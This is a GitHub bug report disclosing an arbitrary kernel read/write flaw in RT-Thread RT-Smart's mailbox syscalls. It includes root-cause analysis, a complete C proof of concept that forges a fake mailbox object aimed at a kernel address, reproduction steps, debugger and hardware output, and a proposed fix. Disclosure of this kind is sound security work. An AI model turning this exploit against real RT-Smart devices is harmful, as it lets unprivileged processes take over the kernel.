Repository navigation
[Bug] RT-Smart mailbox: unchecked fake object enables arbitrary kernel read/write #11960
Description
RT-Thread Version: current master cbc19778d0ae (checked 2026-10-31); introduced by ecf2d8215961 (2022-12-03); first affected release v5.0.0; still present in v5.3.0 and master
Affected area: Kernel / RT-Smart IPC
Hardware-BSP vendor: QEMU (full RT-Smart user-to-kernel reproduction); Raspberry Pi Pico 2 W / RP2350 (board-level fake-object primitive)
Architecture: AArch64 (QEMU RT-Smart); ARM Cortex-M33 / RP2350 (board validation)
Board and hardware details:
- RT-Smart:
qemu-virt64-aarch64, QEMUvirt, GICv2, one CPU, 128 MiB,RT_USING_SMART=y,RT_USING_MAILBOX=y,RT_USING_DEBUG=n. - Board: Raspberry Pi Pico 2 W (RP2350 ARM Secure), USB CDC console. The board image runs ordinary single-address-space RT-Thread, so it validates the official kernel mailbox API primitive; the RT-Smart user/kernel boundary is proven by the QEMU full-system run.
Develop Toolchain: RT-Thread CI AArch64 musl GCC for the kernel and user ELF; QEMU full-system execution. The RP2350 image uses the Pico SDK 2.3.1 / ARM GNU toolchain.
Describe the bug
RT-Smart mailbox operations accept a user-controlled kernel object pointer without checking that the object belongs to the calling LWP, is a mailbox, or is in kernel memory. sys_mb_send() simply forwards it:
/* components/lwp/lwp_syscall.c in v5.3.0; now syscall/syscall_rt_ipc.c */
sysret_t sys_mb_send(rt_mailbox_t mb, rt_ubase_t value)
{
return rt_mb_send(mb, value);
}sys_mb_recv() validates the user output pointer, but not mb:
if (!lwp_user_accessable((void *)value, sizeof(rt_ubase_t *)))
return -EFAULT;
...
ret = rt_mb_recv(mb, (rt_ubase_t *)kvalue, timeout);The mailbox implementation then executes attacker-controlled fields:
/* src/ipc.c */
RT_ASSERT(rt_object_get_type(&mb->parent.parent) == RT_Object_Class_MailBox);
...
mb->msg_pool[mb->in_offset] = value; /* write qword */
...
*value = mb->msg_pool[mb->out_offset]; /* read qword */The assertion only reads the attacker-controlled type field and is not an ownership check. LWP already has an object ownership AVL (lwp_user_object_add/delete), but these operation syscalls bypass it.
An unprivileged RT-Smart process can map a page, place a fake struct rt_mailbox there, set type to RT_Object_Class_MailBox, set msg_pool to any 64-bit kernel address, and call the public mailbox syscalls. This gives a deterministic arbitrary 64-bit kernel read/write primitive.
Steps to reproduce (QEMU RT-Smart)
- Build
bsp/qemu-virt64-aarch64withRT_USING_SMART=yandRT_USING_MAILBOX=y. - Compile the mode-1 ELF below with:
aarch64-linux-musleabi-gcc -nostdlib -static -no-pie -nostartfiles \
-T audit/RT_lwp/exp/lwp_poc.ld -O2 -ffreestanding \
-DMODE=1 -o mailbox_arb_rw.elf poc_mailbox_arbwrite.c
- Add the ELF to the FAT root filesystem and boot the RT-Smart BSP.
- From the msh shell, execute
/mailbox_arb_rw.elf.
Expected: the syscall rejects an unowned user-space object.
Actual: both syscalls return 0. The target qword changes from 0x74003e2f2068736d to 0x1122334455667788, and sys_mb_recv reads the same qword back through the fake object.
Relevant mode-1 PoC:
typedef unsigned long u64;
typedef long s64;
typedef unsigned int u32;
typedef unsigned char u8;
static inline s64 sys_call6(s64 nr, u64 a, u64 b, u64 c, u64 d, u64 e)
{
register u64 x8 __asm__("x8") = (u64)nr;
register u64 x0 __asm__("x0") = a;
register u64 x1 __asm__("x1") = b;
register u64 x2 __asm__("x2") = c;
register u64 x3 __asm__("x3") = d;
register u64 x4 __asm__("x4") = e;
__asm__ volatile("svc #0"
: "+r"(x0), "+r"(x1), "+r"(x2), "+r"(x3), "+r"(x4),
"+r"(x8)
:
: "x5", "x6", "x7", "x9", "x10", "x11", "x12",
"x13", "x14", "x15", "x16", "x17", "x18", "x19",
"x20", "x21", "x22", "x23", "x24", "x25", "x26",
"x27", "x28", "memory", "cc");
return (s64)x0;
}
#define SYS_exit 1
#define SYS_write 3
#define SYS_mb_send 32
#define SYS_mb_recv 34
static volatile u8 g_fake_mb[112] __attribute__((aligned(16)));
static volatile u64 g_recv_value;
static void write64(volatile u8 *p, u64 value)
{
for (int i = 0; i < 8; ++i)
p[i] = (u8)(value >> (i * 8));
}
static void write16(volatile u8 *p, unsigned int value)
{
p[0] = (u8)value;
p[1] = (u8)(value >> 8);
}
void _start(void)
{
u64 fake = (u64)g_fake_mb;
const u64 kernel_target = 0xffff00000021b468; /* rt_log_buf scratch qword */
const u64 marker = 0x1122334455667788ULL;
for (int i = 0; i < sizeof(g_fake_mb); ++i)
g_fake_mb[i] = 0;
g_fake_mb[24] = 5; /* RT_Object_Class_MailBox */
write64(&g_fake_mb[56], fake + 56); /* empty suspend list */
write64(&g_fake_mb[64], fake + 56);
write64(&g_fake_mb[88], fake + 88);
write64(&g_fake_mb[96], fake + 88);
write64(&g_fake_mb[72], kernel_target); /* msg_pool */
write16(&g_fake_mb[80], 1); /* size */
write16(&g_fake_mb[82], 0); /* entry */
write16(&g_fake_mb[84], 0); /* in_offset */
write16(&g_fake_mb[86], 0); /* out_offset */
write64(&g_fake_mb[104], 0); /* unlocked spinlock */
sys_call6(SYS_mb_send, fake, marker, 0, 0, 0);
write16(&g_fake_mb[82], 1); /* entry = 1 */
write16(&g_fake_mb[84], 0); /* in_offset = 0 */
write16(&g_fake_mb[86], 0); /* out_offset = 0 */
sys_call6(SYS_mb_recv, fake, (u64)&g_recv_value, 0, 0, 0);
/* g_recv_value is now the qword at kernel_target. */
sys_call6(SYS_exit, 0, 0, 0, 0, 0);
for (;;)
;
}The full workspace PoC also prints the result and restores the scratch qword through the same write primitive.
Evidence
1. QEMU control: legitimate mailbox
[ctrl] legitimate mailbox path
[ctrl] mb_create = 0xffff00000029bcc8
[ctrl] mb_send = 0x0000000000000000
[ctrl] mb_recv = 0x0000000000000000
[ctrl] received = 0x1122334455667788
2. QEMU attack: unowned fake mailbox
[rw] fake mailbox = 0x0000000010000510
[rw] kernel target = 0xffff00000021b468
[rw] fake mb_send = 0x0000000000000000
[rw] fake mb_recv = 0x0000000000000000
[rw] kernel value read = 0x1122334455667788
[rw] target restored; kernel alive
3. GDB call chain and write watchpoint
rt_mb_send(mb=0x10000510, value=0x1122334455667788)
msg_pool=0xffff00000021b468 size=1 entry=0 in_offset=0
#0 _rt_mb_send_wait
#1 rt_mb_send_wait
#2 rt_mb_send
#3 sys_mb_send
#4 _SVC_Handler
#5 SVC_Handler
Hardware watchpoint:
Old value = 0x74003e2f2068736d
New value = 0x1122334455667788
The receive breakpoint hits the same fake object:
rt_mb_recv(mb=0x10000510, value=<kernel bounce buffer>, timeout=0)
msg_pool=0xffff00000021b468 out_offset=0 entry=1
source qword: 0x1122334455667788
Two independent GDB runs were byte-identical.
4. Real hardware validation of the official kernel API primitive
The following is from a Pico 2 W / RP2350 running the packaged RT-Thread image over USB CDC:
plink -serial COM10 -sercfg 115200,8,n,1,N
help
commands:
mbox_poc trigger raw mailbox write/read
help this help
mbox_poc> mbox_poc
mbox_poc: fake mailbox msg_pool=0x20022c88
mbox_poc: target before=0x00000000
mbox_poc: rt_mb_send=0 target_after=0x11223344
mbox_poc: rt_mb_recv=0 received=0x11223344
mbox_poc: CONFIRMED fake mailbox arbitrary read/write path
mbox_poc>
This board run does not replace the RT-Smart boundary proof. It confirms that the official rt_mb_send/rt_mb_recv implementation accepts caller-controlled object fields and performs the pool write/read on real hardware.
Impact
An unprivileged RT-Smart process can read and write arbitrary aligned 64-bit kernel addresses. It can therefore modify hooks, scheduler/object state, access-control data, or other kernel memory. No race, debugger, privileged ioctl, or application cooperation is needed.
Other additional context
- CWE-822 (untrusted pointer dereference), CWE-787 (out-of-bounds write), and CWE-125 (out-of-bounds read).
- CVSS 3.1:
AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H= 8.8. - The attack entry is a local unprivileged RT-Smart process, not a network service.
S:Creflects crossing from user-controlled object bytes into arbitrary kernel memory operations. - Versions: introduced by
ecf2d8215961(2022-12-03). v5.0.0 is the first affected release; v5.0.0 through v5.3.0 and current mastercbc19778d0aeare affected. - Not a duplicate: [Bug] Insufficient parameter validation in the syscall implementation in RT-Thread Smart #9877 is about an unvalidated thread-name pointer in
sys_thread_create; it is not this mailbox sink. GitHub issue/PR search forfake mailbox,sys_mb_send mailbox,mailbox msg_pool RT-Smart, andmailbox arbitrary kernelfound no matching report or fix branch. - Suggested structural fix: introduce a common
lwp_user_object_get(current_lwp, handle, expected_type)that resolves the handle through the existing LWP AVL, validates its type and kernel address, and takes a reference for the duration of the syscall. Use it consistently for semaphore, mutex, event, mailbox, message queue, and timer operations, then release the reference. A one-off NULL check or ownership check in onlysys_mb_send/recvwould leave the same design flaw in sibling IPC paths.
Activity
github-actions commentedon Oct 31, 2026
如需认领并处理此 Issue,请评论
/claim。To claim and work on this issue, comment
/claim.